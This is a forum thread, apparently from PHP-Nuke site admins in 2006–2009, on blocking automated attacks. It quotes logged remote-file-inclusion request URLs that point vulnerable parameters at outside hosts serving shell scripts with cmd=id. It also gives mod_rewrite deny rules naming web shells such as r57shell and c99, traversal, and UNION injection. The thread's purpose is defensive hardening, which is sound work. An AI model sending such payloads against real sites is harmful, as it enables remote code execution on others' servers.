Filtering XSS which contains http twice

Posted: Tue Feb 21, 2006 3:55 am

Perhaps some have seen my statement "Probably the most secure version of nuke ever" on my site over at [ Only registered users can see links on this board! Get registered or login! ] and thought I was issuing a challenge.
The following attempts have been tried (for modules which do not exist Laughing

)

Code:

modules/Forums/admin/admin_styles.php?phpbb_root_path=http://saudia.100free.com/asc.txt?&cmd=uname%20-a;id

Code:

/modules/4nAlbum/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id

Quote:

www.code-authors.com/index.php?cat=http://www.lilspage.de/modules/tool25.dat?cmd=id
Get String: [ Only registered users can see links on this board! Get registered or login! ]

Quote:

/modules/My_eGallery/public/displayCategory.php?basepath=http://www.lilspage.de/modules/tool25.dat?cmd=id

Quote:

/modules/My_eGallery/public/displayCategory.php?basepath=http://www.clan-ff.net/vwar/tool25.dat?&cmd=id

These are quite obviously some sort of automated attack and needless to say they didnt work but what would be the best way to block such attacks?

Posted: Tue Feb 21, 2006 7:21 am

Code:




RewriteCond %{QUERY_STRING} =http://  [NC]


RewriteRule ^.*$ - [F]

Posted: Tue Feb 21, 2006 7:39 am

Interesting - thanks for that I'll try it and see what develops.

Posted: Tue Feb 21, 2006 8:06 am

here's even a better version that also denies ../../ as seen in rush attacks
for example an exploit in file=../../.htaccess
and another for UNION

RewriteCond %{QUERY_STRING} =../ [NC, OR]
RewriteCond %{QUERY_STRING} "%20UNION" [NC, OR]
RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]

NOTE: this is will NOT make you 100% safe since phpnuke uses register_globals so an attack can also be made thru POST and COOKIE

Posted: Tue Feb 21, 2006 8:59 am

Thanks!!

Posted: Tue Feb 21, 2006 9:08 am

admin_styles.php is a known attack that has hit phpBB systems (and those using phpBB derivates) several times.

Ditto 4nAlbum and My_eGallery using the same displayCategory.php

The attack on index.php is nothing I have seen. Must have been a "cat" variable vulnerable somewhere.

Does Sentinel not block these attacks?

---

For my site not using Sentinel, here's what I have right now.
Using DisError to capture the 404 messages and read the 'REDIRECT_URL'
If it includes anything on 'xmlrpc.php' 'awstats.pl' 'displayCategory.php' 'upgrade_album.php'
They get a banned

Posted: Tue Feb 21, 2006 9:52 am

evaders - with the exception of the third quote (above) none tripped Sentinel but that is probably due to my sloppy blocker configuration which I'm looking at right now.

Posted: Wed Feb 18, 2009 12:57 am

djmaze wrote:

here's even a better version that also denies ../../ as seen in rush attacks
for example an exploit in file=../../.htaccess
and another for UNION

RewriteCond %{QUERY_STRING} =../ [NC, OR]
RewriteCond %{QUERY_STRING} "%20UNION" [NC, OR]
RewriteCond %{QUERY_STRING} =http:// [NC]
RewriteRule ^.*$ - [F]

NOTE: this is will NOT make you 100% safe since phpnuke uses register_globals so an attack can also be made thru POST and COOKIE

I know this has come up several times here and there, but alot of the posts are years old... I wondered if there was some up-to-date recommendations for additional security via htaccess..? I've used these for some time, and my sentinel emails decreased dramatically after adding.. Smile

Code:

RewriteCond %{HTTP_USER_AGENT} ^libwww [NC,OR]  


RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR] 


RewriteCond % _CONF [OR] 


RewriteCond % tool25 [OR] 


RewriteCond % cmd.txt [OR] 


RewriteCond % r57shell [OR] 


RewriteCond % c99 [OR] 


RewriteCond % THEME_DIR [OR] 


RewriteRule ^.* - [F,L] 





RewriteCond %{QUERY_STRING} .*http:\/\/.* 


Rewriterule ^.* - [F]

I believe I was told the http one would break some admin functions such as verify downloads and weblinks, but never tried... but it will also stop alot of cross site scripting attacks...

just thought i would toss it out there, food for thought.

Posted: Wed Feb 18, 2009 1:09 am

phpNuke does pass http through some functions, mostly redirects. But otherwise, it is good to use

Worker Joined: Aug 26, 2007 Posts: 236

I also use this line:

RewriteCond %{THE_REQUEST} .*http%3A%2F%2F.* [OR]